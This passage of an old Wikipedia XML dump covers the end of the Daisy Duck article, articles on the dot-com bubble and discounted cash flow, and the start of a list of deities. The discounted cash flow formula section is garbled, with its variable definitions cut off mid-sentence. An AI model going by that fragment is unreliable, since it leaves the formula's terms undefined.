In the comics, Daisy is also a member of a local gossip group called the &quot;Chit-Chat Society,&quot; which plays bridge and sponsors [[charity]] fundraisers. The core membership seems to consist of [[Clarabelle Cow]], [[Clara Cluck]] and a character named &quot;Dora,&quot; though occasionally some other unnamed characters appear. 

Since the early [[1970s]], Daisy has been featured as a crimefighter in [[Italy|Italian]] Disney comics. The character of &quot;Super Daisy&quot; (''&quot;Paperinika&quot;'' in Italian) was designed as a female counterpart to &quot;Super Donald&quot; (''&quot;[[Paperinik]]&quot;'' in Italian). While the character of Super Donald was originally created to place Donald into situations where he was finally a &quot;winner&quot; (versus his usual portrayal as a &quot;loser&quot;), when Super Daisy appeared in the same story as Super Donald, she then became the &quot;winner&quot; and Donald was once more relagated to the role of &quot;loser.&quot; This upset some children, who complained to the comics' editors, which resulted in the Italian comics ceasing to use Super Daisy, though the [[Brazil]] Disney comics continue to make use of Daisy's [[superhero]] alter ego. 

As Super Daisy, Daisy has no superpowers, but instead uses devices created by high society fashion designer Genialina Edy Son. Genialia personally designed Daisy's costume, as well as supplying her with crimefighting gear such as sleeping pills and a [[James Bond]]-esque sports car. Very frequently, Super Daisy will both fight along side and against Super Donald. In the Brazilian stories, Super Daisy often teams up with other Disney comic superheroes, such as &quot;[[Super Goof]]&quot; ([[Goofy]]) , &quot;Super Gilly&quot; (&quot;[[Gilbert]]&quot;), the &quot;Red Bat&quot; ([[Fethry Duck]]), etc.

==In other media==
In the ''[[Kingdom Hearts]]'' video game series, Daisy appeared as a countess in Disney Castle. Her relations to Donald remain intact, especially in Kingdom Hearts 2 when she was seen scolding him.

==Voice actors==
*[[Clarence Nash]] (Early Daisy)
*[[Ruth Peterson]]
*[[Gloria Bondell]]
*[[Patricia Parris]] (''[[Mickey's Christmas Carol]]'')
*[[Kath Soucie]] (''[[Quack Pack]]'')
*[[Tress MacNeille]] (1999 - Present)
*[[Mika Doi]] (Japanese dubbings)

[[Category:Disney characters|Duck, Daisy]]
[[Category:Characters in the Scrooge McDuck universe|Duck, Daisy]]
[[Category:Fictional ducks|Duck, Daisy]]
[[category:Kingdom Hearts characters|Duck, Daisy]]
[[Category:Donald Duck universe characters]]
[[da:Andersine And]]
[[de:Bewohner von Entenhausen#Daisy Duck]]
[[es:Daisy]]
[[fr:Daisy Duck]]
[[hu:Dézi Kacsa]]
[[it:Paperina]]
[[ja:デイジーダック]]
[[nl:Katrien Duck]]
[[no:Dolly Duck]]
[[pt:Margarida (banda desenhada)]]
[[fi:Iines Ankka]]
[[sv:Kajsa Anka]]</text>
    </revision>
  </page>
  <page>
    <title>Dot-com</title>
    <id>9021</id>
    <revision>
      <id>42128121</id>
      <timestamp>2006-03-04T00:26:09Z</timestamp>
      <contributor>
        <username>Monkeyman</username>
        <id>79245</id>
      </contributor>
      <minor />
      <comment>/* External links */ Removed spam.</comment>
      <text xml:space="preserve">'''Dot-com''' (also '''dotcom''' or redundantly '''dot.com''') '''companies''' were the collection of [[Startup company|start-up companies]] selling products or services using or somehow related to the [[Internet]].  They proliferated in the late [[1990s]] '''dot-com boom''', a [[speculation|speculative]] frenzy of [[investment]] in Internet and Internet-related [[technology|technical]] [[stock]]s and enterprises. The name derives from the fact that many of them have the &quot;'''[[.com]]'''&quot; internet [[top-level domain]] &lt;!--[[Domain Name System|DNS]]--&gt; suffix built into their company name. 

==Overview==
In [[1994]] the [[Internet]] came to the general public's attention with the public advent of the [[Mosaic (web browser)|Mosaic]] web browser and the nascent [[World Wide Web]], and by [[1996]] it became obvious to most publicly-traded companies that a public web presence was no longer optional.  Though at first people saw mainly the possibilities of free publishing and instant worldwide information, increasing familiarity with two-way communication over the &quot;web&quot; led to the possibility of direct web-based commerce ([[e-commerce]]) and instantaneous group communications worldwide.  These concepts in turn intrigued many bright young, often underemployed people (many of [[Generation X]]), who realized that new business models would soon arise based on these possibilities, and wanted to be among the first to profit from these new models.

The suddenly low price of reaching millions worldwide, and the possibility of selling to or hearing from those people at the same moment when they were reached, promised to overturn established business dogma in [[advertising]], [[mail-order]] sales, [[customer relationship management]], and many more areas.  The web was a new [[killer app]] -- it could instantaneously bring together unrelated buyers and sellers, or advertisers and clients, in seamless and low-cost ways. Visionaries around the world grabbed friends, developed new business models that would not have been possible just 3 years before, and ran to their nearest [[venture capital]]ist.  

The venture capitalists saw the fast rise in valuation of other such companies, and therefore moved faster and with less caution than usual, choosing to hedge the risk by starting many contenders and letting the market decide which would succeed.  The low interest rates in [[1998]] - [[1999]] helped increase the startup capital amounts. Although a number of these new entrepreneurs had realistic plans and administrative ability, most of them lacked these characteristics but were able to sell their ideas to investors due to the novelty of the dot-com concept.

A canonical &quot;dot-com&quot; company's [[business model]] relied on harnessing [[network effect]]s by giving products away to build [[market share]] (or [[mind share]]). These companies expected that by operating at a loss they could build enough brand awareness to charge for their services later. ([[Yahoo!]] and a few other successful survivors of the era actually succeeded with this strategy.) Many raised cash through public offerings on the [[stock exchange]]s, with [[stock]] often soaring to dizzying heights and making the initial controllers of the company wildly rich on paper. Dot-com companies were stereotyped as having extremely young and inexperienced managers wearing polo shirts with lavish offices including [[foosball]], free food and [[soft drink]]s as well as [[Aeron chair]]s. Companies frequently held parties or expositions where free pens, t-shirts, stress balls, and other trinkets were given away emblazoned with the company's logo. The companies were also stereotyped as requiring extremely long work hours and high pressure. 

An annual event started in [[1995]], the [[Webby Awards]], working to recognize the best websites on the Internet. The event was typically an extravaganza held annually in [[San Francisco, California]], near the heart of [[Silicon Valley]]. The ceremonies mirrored the flashy dot-com lifestyle with costumed guests, modern dancers, and [[faux-paparazzi]] to make guests feel important. The event peaked in 2001 with thousands in attendance. In [[2002]], it was a more somber event with only several hundred guests and little of the excess of the late 1990s. In [[2003]], the awards were reduced to a virtual event because many of the nominees couldn't fly to San Francisco due primarily to corporate belt-tightening and fear of losing their jobs. The [[2005]] edition was held in New York City.

Historically the dot-com boom can be seen as similar to a number of other technology inspired booms of the past including [[Railway mania|railroads]] in the [[1840s]], radio in the [[1920s]], transistor electronics in the [[1950s]], computer time-sharing in the [[1960s]], and [[home computers]] and [[biotechnology]] in the early [[1980s]].

==Soaring stocks==
A [[stock market bubble]] in financial markets is a term applied to a self-perpetuating rise or boom in the share prices of stocks of a particular industry.  The term may be used with certainty only in retrospect when share prices have since crashed.  A bubble occurs when speculators note the fast increase in value and decide to buy in anticipation of further rises, rather than because the shares are undervalued. Typically many companies thus become grossly overvalued. When the bubble &quot;bursts&quot;, the share prices fall dramatically, and many companies go out of business.

The late [[1990s]] boom in technology dot-com company stocks is a good example of a bubble, which burst in late [[2000]] and through [[2001]].

The dot-com model was inherently flawed: a vast number of companies all had the same business plan of [[monopoly|monopolising]] their respective sectors through network effects, and it was clear that even if the plan was sound, there could only be at most one network-effects winner in each sector, and therefore that most companies with this business plan would fail. In fact, many sectors could not support even one company powered entirely by network effects. 

In spite of this, vast fortunes were made by a few company founders whose companies were bought out at an early stage in the dot-com stock market bubble. These early successes made the bubble even more [[buoyancy|buoyant]]. An unprecedented amount of personal investing occurred during the boom. Stories of people quitting their jobs to become full-time [[day trading|day traders]], while not representative, were common in the press.

==Free spending==
According to dot-com theory, an internet company's survival depended on expanding its customer base as rapidly as possible, even if it produced large annual losses. The phrase &quot;Get large or get lost&quot; was the wisdom of the day. At the height of the boom it was possible for a promising dot-com to make an [[initial public offering]] of its stock and raise a substantial amount of money even though it had never made a profit, or even any revenues in some cases. But then the matter of [[burn rate]] came into play as capital was expended in operating a company with no income and no viable [[business model]].

Public awareness campaigns were one way that dot-coms sought to grow their customer base. These included television ads, print ads, and targeting of professional sporting events. The January 2000 Super Bowl featured seventeen dot-com companies (most memorably [[pets.com]]) that each paid over $2 million for a 30-second spot. In January 2001, just three dot-coms bought advertising spots. Iwon.com gave away $10 million to a lucky contestant on an April 2000 show that aired on CBS. Many dot-coms named themselves with [[onomatopoeia|onomatopoeic]] nonsense words that they hoped would be memorable and not easily confused with a competitor.

Not surprisingly, the &quot;growth over profits&quot; mentality and the aura of &quot;new economy&quot; invincibility led some companies to engage in lavish internal spending, such as elaborate business facilities and luxury vacations for employees. Executives and employees who were paid with [[stock option]]s in lieu of cash became instant millionaires when the company made its initial public offering; many invested their new wealth into yet more dot-coms.

Cities all over the United States sought to become the &quot;next Silicon Valley&quot; by building network-enabled office space to attract internet entrepreneurs. Communication providers, convinced that the future economy would require ubiquitous [[broadband access]], went deeply into debt to improve their networks with high-speed equipment and [[fiber optic]] cables. A Worldcom executive famously remarked that internet traffic would double every hundred ''days'' for the foreseeable future. Companies that produced network equipment, such as [[Cisco Systems]], profited greatly from these projects.

Similarly, in [[Europe]] the vast amounts of cash the [[Mobile phone|mobile]] operators spent on [[3G]]-licences in [[Germany]], [[Italy]] and the [[United Kingdom]] for example led them into deep debt. The investments were blown out of proportion regardless of whether seen in the context of their current or projected future [[cash flow]], but this fact was not publicly acknowledged until as late as [[2001]] and [[2002]]. Due to the highly networked nature of the [[Information technology|IT]] industry this quickly led into problems for small companies that were dependent on contracts from operators.

==Thinning the herd==
Over 1999 and early 2000, the [[Federal Reserve]] had increased interest rates six times, and the runaway economy was beginning to lose speed.  The '''dot-com bubble''' burst, numerically, on [[March 10]], [[2000]], when the technology heavy [[NASDAQ Composite]] index [http://dynamic.nasdaq.com/dynamic/IndexChart.asp?symbol=IXIC&amp;desc=NASDAQ+Composite&amp;sec=nasdaq&amp;site=nasdaq&amp;months=84] peaked at 5048.62 (intra-day peak 5132.52), more than double its value just a year before. The NASDAQ fell slightly after that, but was attributed to correction; the actual reversal and subsequent [[bear market]] may have been triggered by the adverse [[findings of fact]] in the [[United States v. Microsoft]] case in the US. The findings, which declared [[Microsoft]] a [[monopoly]], were widely expected in the weeks before their release on [[April 3]].

[[Image:NASDAQ IXIC - dot-com bubble small.png|center|frame|The technology-heavy [[NASDAQ]] Composite index peaked in March 2000, reflecting the high point of the dot-com bubble.]]

Another reason may have been accelerated business spending in preparation for the [[Year 2000 problem|Y2K]] switchover.  Once New Year had passed without incident, businesses found themselves with all the equipment they needed for some time and business spending dried up.  This correlates quite closely to the peak of U.S. stock markets.  The [[Dow Jones Industrial Average|Dow Jones]] peaked in [[January 2000]] and the Nasdaq in [[March 2000]].  Hiring freezes, layoffs, and consolidations followed in several industries, especially in the dot-com.

By [[2001]], the bubble's deflation was running full speed. A majority of the dot-coms have now ceased trading, after having burnt through their [[venture capital]], often without ever making a gross [[profit]], thereby becoming ''[[dot-compost]]''.

==Aftermath==
On [[January 11]], [[2000]], [[Time Warner]], the world's largest media company, was acquired by [[America Online]], a favorite of dot-com investors and pioneer of dial-up internet access. Within two years, boardroom disagreements drove out both of the [[chief executive officer|CEO]]s who made the deal, and in [[October]] [[2003]] AOL Time Warner dropped &quot;AOL&quot; from its name. The acquisition thus became a symbol of the dot-coms' challenge to &quot;old economy&quot; companies and the old economy's ultimate survival. The revolutionary optimism of the boom faded, and analysts once again recognized the relevance of traditional business thinking.

Several communication companies, burdened with unredeemable debts from their expansion projects, sold their assets for cash or filed for [[bankruptcy]]. [[WorldCom]], the largest of these, was found to have used accounting devices to overstate its profits by billions of dollars. The company's stock crashed when these irregularities were revealed, and within days it filed the largest corporate bankruptcy in US history. Other examples include [[NorthPoint Communications]], [[Global Crossing]], [[JDS Uniphase]], [[XO Communications]], and [[Covad Communications]]. Demand for the new high-speed infrastructure never materialized, and it became [[dark fiber]]. Some analysts believe that there is so much dark fiber worldwide that only a small percentage of it will be &quot;lit&quot; in the decades to come.

One by one, dot-coms ran out of capital and were acquired or [[liquidation|liquidated]]; the domain names were picked up by old-economy competitors or domain name investors. Several companies were accused or convicted of [[fraud]] for misusing shareholders' money, and the [[U.S. Securities and Exchange Commission]] fined top investment firms like [[Citigroup]] and [[Merrill Lynch]] millions of dollars for misleading investors. Various supporting industries, such as advertising and shipping, scaled back their operations as demand for their services fell. A few dot-com companies, such as [[Amazon.com]] and [[eBay]], survived the turmoil and appear to have a good chance of long-term survival.

Technology experts such as computer programmers who were laid off found a glutted job market. This was exacerbated by the business trend of [[international outsourcing]] and the recently allowed increase of skilled visa &quot;guest workers&quot; such as those participating in the controversial US [[H-1B visa]] program. University degree programs for computer-related careers saw a noticeable drop in new students. Anecdotes of unemployed programmers going back to school to become accountants or lawyers were common.

==List of well-known dot-coms==
===Successful===
*[[Amazon.com]]
*[[eBay]]
*[[Google]]
*[[MSN]]
*[[PayPal]] (now a subsidiary of eBay)
*[[Priceline.com]]
*[[Yahoo!]]
*[[Netflix]]

===Failed===
:''For more comprehensive listing of failed dot-coms, see [[List of commercial failures#Internet dot-bombs|here]]''
*[[Boo.com]]
*[[eToys]]
*[[Excite@Home]]
*[[Kozmo.com]]
*[[Pets.com]]
*[[Webvan]]
*[[Freeinternet.com]] - The 5th largest [[ISP]] and famous for its mascot &quot;[[Baby Bob]]&quot;, the company went bankrupt in 2000. Baby Bob was later sold to [[Quiznos Sub]]. [http://www.internetnews.com/xSP/article.php/435691] [http://www.addlebrain.com/articles/freei.html]

==See also==
===Terminology===
*[[Bankruptcy]]
*[[Digital Revolution]]
*[[E-commerce]]
*[[Irrational exuberance (finance)]]
*[[The South Sea Company]]
*[[Stock market boom]]
*[[Spin-off]]
*[[Stock market bubble]]
*[[Tulip mania]]
*[[Techno-utopianism]]
*[[Technology hype]]
*[[GAMEY]]

===Media===
*[[e-Dreams]]
*[[SatireWire]]
*[[StartUp.com]]

===Venture Capital===
*[[List of venture capital firms]]

==External links==
*[http://www.stock-market-crash.net/nasdaq.htm The Nasdaq Stock Market Crash] - Learn about the spectacular rise and downfall of the Nasdaq.
*[http://www.guardian.co.uk/online/story/0,3605,1433697,00.html Looking back on the crash] - 5 years on, the Guardian sums up
*[http://www.cnet.com/4520-11136_1-6278387-1.html?tag=cnetfd.sd Top 10 dot-com flops] - CNet's list of ten most notable failed dot-com companies
*[http://www.geocities.com/dbdoggle Tech Rip-off HowTo] - Techniques for Wanna-be Dot Com Millionaires
*[http://www.amazon.com/exec/obidos/tg/detail/-/0743411218 Silicon Follies] - Dot-com lifestyles

[[Category:Digital Revolution]]
[[Category:Dot-com|Dot-com]]
[[Category:Economic bubbles]]
[[Category:Electronic commerce]]
[[Category:Information technology management]]
[[Category:Internet terminology]]

[[da:Dot com]]
[[fr:Bulle Internet]]
[[ja:インターネット・バブル]]
[[pt:Dot-com]]
[[ru:Дотком]]
[[fi:IT-kupla]]</text>
    </revision>
  </page>
  <page>
    <title>Dotcom</title>
    <id>9022</id>
    <revision>
      <id>15906948</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Dot-com]]
</text>
    </revision>
  </page>
  <page>
    <title>Discounted cash flow</title>
    <id>9023</id>
    <revision>
      <id>41202914</id>
      <timestamp>2006-02-25T19:32:49Z</timestamp>
      <contributor>
        <username>Smallbones</username>
        <id>612302</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">In [[finance]], a '''discounted cash flow''' or DCF is the value of a cash flow adjusted for the [[time value of money]]. The nominal values of two cash flows in different time periods  cannot be directly compared because the preference of most people for consumption sooner rather than later, and because of the [[opportunity cost]] of forgoing an interest earning investment. Establishing which interest rate or [[discount|discount rate]] to use can sometimes prove to be a very complicated task.

==Math==
The discounted cash flow is expressed as

&lt;math&gt;DCF = \left (\frac{1}{(1+d)^n}\right) * CF&lt;/math&gt;

future receipts;
* ''d'' is the discount rate, which is

==History==
Discounted cash flow calculations have been used in some form since money was first lent at interest in ancient times.  As a method of asset valuation it has often been opposed to accounting book value, which is based on the amount paid for the asset.  Following the stock market crash of 1929, discounted cash flow analysis gain popularity as a valuation method for stocks.  [[Irving Fisher]] in his 1930 book &quot;The Theory of Interest&quot; and [[John Burr Williams]]'s 1938 text '[[The Theory of Investment Value]]' first formally expressed the DCF method in modern economic terms.
==See also==

* [[Adjusted present value]]
* [[Capital budgeting]]
* [[Economic value added]]
* [[Flow to equity]]
* [[Net present value]]

==External links==
*[http://www.disklectures.com/freebies.php Disk Lectures], Discounted Cash Flow audio lecture with slideshow
*[http://www.in-the-money.com/pages/author.htm Great Moments in Financial Economics]
*[http://www.econlib.org/library/YPDBooks/Fisher/fshToI.html &lt;i&gt;The Theory of Interest &lt;/i&gt;] at the [http://www.econlib.org/index.html Library of Economics and Liberty]. 

[[category:Basic financial concepts]]

[[de:Discounted Cash-Flow]]
[[it:Discounted cash flow]]</text>
    </revision>
  </page>
  <page>
    <title>List of deities</title>
    <id>9025</id>
    <revision>
      <id>41957016</id>
      <timestamp>2006-03-02T21:48:45Z</timestamp>
      <contributor>
        <username>Juzeris</username>
        <id>106063</id>
      </contributor>
      <comment>/* [[Latvian mythology|Latvian]] */ removed names that have nothing to do with Latvian mythology, fixed spelling, added more notable deities</comment>
      <text xml:space="preserve">This '''list of deities''' aims to give information about [[deity|deities]] in the different religions, cultures and mythologies of the world. It is sorted alphabetically.

There are also lists of deities by type; see the articles [[death deity]], [[household deity]], [[lunar deity]], and [[solar deity]].

See also: [[List of fictional deities]], [[List of people considered to be deities]]

Related articles include [[Deva]], [[Demigod]], [[Divinity]], [[God]], [[God (male deity)]], [[Goddess]], [[Mythology]], [[Religion]], [[Scripture]].

== [[Abenaki]] ==
*[[Azeban]] - [[trickster]]
*[[Bmola]] - [[bird]] spirit
*[[Gluskab]] - kind protector of humanity
*[[Malsumis]] - cruel, evil god
*[[Tabaldak]] - the creator

== [[Africa]]n ==
*[[Jeebo]]
*[[Jengu]]
*[[Mami Wata]]
*[[Waaq]]

== [[Anglo-Saxon mythology|Anglo-Saxon]] ==
*[[Woden|Wóden]] 
*[[Frige|Fríge]]
*[[Tiw]]
*[[Þunor]] 
*[[Ingui|Ingui Fréa]]
*[[Eostre]] 
*[[Seaxneat|Seaxnéat]]
*[[Wayland Smith|Wéland]]

*[[Elf|Elves]]
*[[Giant (mythology)|Giants]]
*[[Dwarf|Dwarfs]]

== [[Akamba mythology|Akamba]] ==
*[[Asa]]

== [[Akan mythology|Akan]] ==
*[[Brekyirihunuade]]
*[[Kwaku Ananse]]

== [[Ashanti mythology|Ashanti]] ==
*[[Anansi]]
*[[Asase Ya]]
*[[Bia (mythology)|Bia]]
*[[Nyame]]

== [[Australia]]n [[Aboriginal mythology|Aboriginal]] ==
*[[Altjira]]
*[[Baiame]]
*[[Bamapana]]
*[[Banaitja]]
*[[Bobbi-bobbi]]
*[[Bunjil]]
*[[Daramulum]]
*[[Dilga]]
*[[Djanggawul]]
*[[Eingana]]
*[[Galeru]]
*[[Gnowee]]
*[[Kidili]]
*[[Kunapipi]]
*[[Julunggul]]
*[[Mangar-kunjer-kunja]]
*[[Numakulla]]
*[[Pundjel]]
*[[Ulanji]]
*[[Walo]]
*[[Wawalag]]
*[[Wuriupranili]]
*[[Yurlungur]]

== [[Ayyavazhi]] ==
*[[Ayya Vaikundar]] - Triune God ''(see: [[Ayyavazhi Trinity]])''
*[[Sivan]]
*[[Nathan]]
*[[Thirumal]]
*[[Arumukan]]

== [[Aztec mythology|Aztec]] ==
(see much longer list at [[Aztec mythology]])

*[[Chalchiuhtlicue]] - goddess of lakes and streams
*[[Cinteotl]] - god of [[maize]]
*[[Coyolxauhqui]] - goddess of the moon
*[[Ehecatl]] - the god of the wind
*[[Huehueteotl]] - an ancient god of the hearth, the fire of life
*[[Huitzilopochtli]] - god of the sun, fire, and war
*[[Ilamatecuhtli]]- goddess of the earth, death, and the [[milky way]].
*[[Itztlacoliuhqui-Ixquimilli]] - god of hard stone
*[[Mayahuel]] - goddess of [[maguey]]
*[[Mictlantecuhtli]] - god of death
*[[Ometeotl]] - god/goddess of heaven
*[[Quetzalcoatl]] - god of the breath of life
*[[Tepeyollotl]] - god of earthquakes
*[[Tezcatlipoca]] - god of discord
*[[Tlahuizcalpantecuhtli]] - god of dawn
*[[Tlaloc]] - god of rain and lightning
*[[Toci]] - goddess of earth
*[[Tonacatecuhtli]] - god of food
*[[Xipe Totec]] - god of spring
*[[Xochipilli]] - flower god
*[[Xochiquetzal]] - love goddess

== [[Bahá'í Faith|Bahá'í]] ==
The Bahá'í Faith is a monotheistic religion contending that various figures from other prominent religions - for example, [[Moses]] ([[Judaism]]), [[Jesus]] ([[Christianity]]), [[Muhammad]] ([[Islam]]), [[Zoroaster]] ([[Zoroastrianism]]), and [[Krishna]] ([[Hinduism]]) were all messengers of the one God.

== [[Bushongo mythology|Bushongo]] ==
*[[Bomazi]]
*[[Bumba (god)|Bumba]]

== [[Celtic mythology|Celtic]] ==
See much more complete lists at [[Celtic mythology]] and [[Celtic polytheism]].

*[[Belenus]]
*[[Bran (mythology)|Bran]]
*[[Brigit]]
*[[Ceridwen]]
*[[Cernunos]]
*[[Dagda]]
*[[Danu (Irish goddess)|Danu]]
*[[Epona]]
*[[Glanis]]
*[[Gwydion]]
*[[Lugh]]
*[[Lyr]]
*[[Manannan mac Lir]]
*[[Morrigan]]
*[[Nemain]]
*[[Nuadha]]
*[[Ogma]]

== [[Chinese mythology|Chinese]] ==
*[[Chang'e (mythology)|Chang'e]]
*[[Chi You]]
*[[Dragon Kings]]
*[[Eight Immortals]]
*[[Erlang Shen]]
*[[Four Heavenly Kings]]
*[[Fei Lian]]
*[[Fu Hsi]]
*[[God of North]]
*[[Gong Gong]]
*[[Great Yu]]
*[[Guanyin]]
*[[Guan Di]]
*[[Guan Gong]]
*[[Guan Yu]]
*[[Hotei]]
*[[Huang Di]]
*[[Jade Emperor]]
*[[Kua Fu]]
*[[Kuan Yin]]
*[[Lei Gong]]
*[[Long Mu]]
*[[Three Pure Ones]]
*[[Matsu (goddess)|Matsu]]
*[[Meng Po]]
*[[Nezha]]
*[[Nüwa]]
*[[Pangu]]
*[[Qi Yu]]
*[[Shang Ti]]
*[[Shennong]]
*[[Shing Wong]]
*[[Sun Wukong]]
*[[Wong Tai Sin]]
*[[Xi Wangmu]]
*[[Yan Luo]]
*[[Yuk Wong]]
*[[Yi the Archer]]
*[[Zao Jun]]

== [[Chippewa mythology|Chippewa]] ==
*[[Nanabozho]]
*[[Sint Holo]]
*[[Wemicus]]

== [[Christianity|Christian]] ==
Like [[List of deities#Zoroastrianism|Zoroastrianism]], Christianity is a [[revealed religion]] with [[monotheism|one God]] in the form of a trinity presiding over a heavenly hierarchy of [[archangels]] and [[angels]].  (The three Zoroastrian [[Biblical Magi|Magi]] were the first to worship Christ.)
*[[God]], (Holy) Lord,  (The Holy and undivided) [[Trinity]], the Three-in-one, the Threeness, [[Yahweh]]
:*[[God the Father]], the '''First Person of the Holy Trinity'''
:*God the Son, the '''Second Person of the Holy Trinity''', [[Jesus]], the [[Christ]], the [[Saviour]], the (only-begotten) [[Son of God]], Son of the Father, the (Holy) [[Logos]]/Word, the Lord
:*God the [[Holy Ghost]]/Spirit, the '''Third Person of the Holy Trinity'''

*([[Satan]], the [[Devil]] - not a god, but a fallen archangel)
**A few believe that Satan never fell, or that he will ultimately be forgiven(see [[Origen]]/[[Apokatastasis]]).

== [[Creek mythology|Creek]] ==
*[[Hisagita-imisi]]

== [[Dacian mythology|Dacian]] ==
*[[Zamolxis]]
*[[Gebeleizis]]
*[[Bendis]]

== [[Dahomey mythology|Dahomey]] ==
*[[Agé]]
*[[Ayaba]]
*[[Da (Dahomey)|Da]]
*[[Gbadu]]
*[[Gleti]]
*[[Gu (Dahomey)|Gu]]
*[[Lisa (Dahomey)|Lisa]]
*[[Loko]]
*[[Mawu]]
*[[Nana Buluku]]
*[[Sakpata]]
*[[Sogbo]]
*[[Xevioso]]
*[[Zinsi]]
*[[Zinsu]]

== [[Dinka mythology|Dinka]] ==
*[[Abuk]]
*[[Denka]]
*[[Juok]]
*[[Nyalitch]]

== [[Efik mythology|Efik]] ==
*[[Abassi]]
*[[Atai]]

== [[Egyptian mythology|Egyptian]] ==
Egyptian deities are often portrayed as having animal heads in art; as an example, Anubis is often portrayed in statuary as having the body of a [[human]], but the head of a [[canidae|canine]].  Many gods were portrayed with different animal heads, depending upon the situation. The Egyptians did '''not''' actually believe that most of their gods had animal heads; rather, they portrayed them that way as artistic symbolism. This may have been for the benefit of the illiterate.

*[[Amun]], creator deity
*[[Anubis]], God of Embalming, Friend of the Dead, originally god of the dead
*The [[Aten]], the embodiment of the Sun's rays in a brief, [[monotheism|monotheistic]] interlude
*[[Apep]], Serpent of the Underworld, enemy of [[Ra]]
*[[Atum]], a creator deity, and the setting sun
*[[Bast (goddess)|Bast]], Goddess of Cats
*[[Bes]], God-Demon of Protection, Childbirth and Entertainment
*The [[Four sons of Horus]]
*[[Geb]], God of the Earth
*[[Hapy]] God of the Nile and Fertility
*[[Hathor]], Goddess of Love and Music
*[[Heget]] Goddess of Childbirth
*[[Horus]] the falcon-headed god
*[[Imhotep]] God of wisdom, medicine and magic
*[[Isis]], Goddess of Magic, sister of Nephthys
*[[Khepry]], the scarab beetle, the embodiment of the dawn
*[[Khnum]], a creator deity
*[[Maahes]], god of war
*[[Ma'at]], Concept of Truth, Balance and Order, sometimes depicted as a goddess
*[[Menhit]], Goddess of war
*[[Mont]], god of war
*[[Naunet]], the primal waters
*[[Neith]], goddess of war, then great mother goddess
*[[Nephthys]], mother of Anubis
*[[Nut (goddess)|Nut]], goddess of heaven and the sky
*[[Osiris]], god of the underworld, fertility and agricultural, possible father of Anubis
*[[Ptah]], a creator deity
*[[Ra]], the sun, possible father of Anubis
*[[Sekhmet]], goddess of war and battles
*[[Sobek]], Crocodile God
*[[Set (mythology)|Set]], God of Storms, possible father of Anubis, later became god of evil
*[[Taweret]], Goddess of pregnant children and protecter at childbirth
*[[Tefnut]], goddess of order, justice, time, Heaven and Hell and weather 
*[[Thoth]], god of the moon, drawing, writing, geometry, wisdom, medicine, music, astronomy, and magic
*[[Wepwawet]]
See http://touregypt.net/godsofegypt/ for the Egyptian Ministry of Tourism's extensive information on Egyptian Deities.

== [[Estonian mythology|Estonian]] ==
*[[Peko]], god of fertility, crops and brewing
*[[Pikne]] (the long one), god of thunder
*[[Tharapita]], god of war
*[[Vanemuine]] (the ancient one), god of music (possibly fake tradition)

== [[Etruscan mythology|Etruscan]] ==
*[[Alpan]]
*[[Aplu]]
*[[Menrva]]
*[[Nethuns]]
*[[Tinia]]
*[[Turan (goddess)]]
*[[Uni]]
*[[Voltumna]]

== [[Finland|Finnish]] ==
There are very few written documents about old Finnish religions; also the names of deities and practices of worship changed from place to place. The following is a summary of the most important and most widely worshipped deities.

*[[Ukko]], god of heaven and thunder
*[[Rauni]], Ukko's wife, goddess of fertility
*[[Tapio]], god of forest and wild animals
*[[Mielikki]], Tapio's wife
*[[Pekko]] (or ''Peko''), god or goddess (the actual gender is obscure) of fields and agriculture
*[[Ahti]], (or ''Ahto'') god of streams, lakes and sea
*[[Otso]], son of a god, ''king of the forest'' whose carnal form is the bear
*[[Tuoni]], god of the underworld
*[[Tuonetar]], The wife of Tuoni
*[[Loviatar]], One of Tuoni's daughters. goddess of pain.
*[[Perkons|Perkele]], a god of the Lithuanians, drafted to do duty as &quot;the devil&quot;
*[[Jumala]], a physical idol, later the name of the Christian god

== [[Ancient Greece|Ancient]] [[Greek mythology|Greek]] ==
{{Greek myth}}
*[[Aphrodite]] - goddess of beauty, one of the twelve Olympians
*[[Apollo]] - god of poetry, music, the sun, an Olympian
*[[Ares]] - god of war, an Olympian
*[[Artemis]] - goddess of the hunt, later also goddess of moon, an Olympian
*[[Athena]] - goddess of wisdom, defensive war, Athens, an Olympian
*[[Kronos]] - (Cronus/Cronos) god of time, father of the first six Olympians, a Titan
*[[Demeter]] - goddess of the harvest, nature, often considered an Olympian
*[[Dionysus]] - god of wine, took Hestia's place as an Olympian
*[[Eris]] - goddess of discord
*[[Eros]] - god of love ([[Cupid]])
*[[Eos (mythology)|Eos]] - goddess of the dawn
*[[Gaia (mythology)|Gaia]] - primordial goddess of earth, mother of the Titans
*[[Hades]] - god of the underworld, often considered an Olympian
*[[Hebe (mythology)|Hebe]] - wife of Heracles
*[[Hekate]] - goddess of witchcraft, crossroads
*[[Helios]] - god who drives of the sun
*[[Hephaestus]] - god of smiths, an Olympian
*[[Hera]] - chief goddess, goddess of marriage, an Olympian
*[[Hermes]] - messenger of the gods, an Olympian
*[[Hestia]] - goddess of the hearth, gave up seat at Olympus to Dionysus
*[[Pan (mythology)|Pan]] - god of shepherds
*[[Persephone]] - daughter of Demeter, queen of the dead
*[[Poseidon]] - god of the sea, an Olympian
*[[Rhea (mythology)|Rhea]] - mother of the first six Olympians, a Titan
*[[Selene]] - goddess who drives the moon
*[[Uranus (mythology)|Uranus]] - primordial god of the heavens, father of the Titans
*[[Zeus]] - god of sky and air, chief Olympian

See also [[Demigod]]s, the [[Dryad|Dryads]], the [[Fates]], the [[Erinyes]], the [[Graces]], the [[Horae]], the [[Muses]], the [[Nymph|Nymphs]], the [[Pleiades (mythology)|Pleiades]], the [[Titan (mythology)|Titans]]

==[[Gnosticism|Gnostic]]==
* [[Sophia]]
* [[Christ]]
* [[Yaldabaoth]], [[YHWH|Yao]], Saklas, [[Samael]], the Demiurge
* [[Aeon]]s
* [[Archon]]s

== [[Guarani mythology|Guarani]] ==
*[[Abaangui]]
*[[Jurupari]]
*[[Tupa]]

== [[Haida mythology|Haida]] ==
*[[Gyhldeptis]]
*[[Lagua]]
*[[Nankil'slas]]
*[[Sin (Haida)|Sin]]
*[[Ta'axet]]
*[[Tia]]

== [[Hindu]] ==
*[[Brahman]], the one and only (formless) supreme aspect of God. The Universe in Potential Static Energy
*[[Bhagavan]], the Supreme Personality of Godhead. Superior to God's formless aspect.
* Adi - Shakti, the Female aspcet of Supreme Divine in Kinetic Dynamic Form.
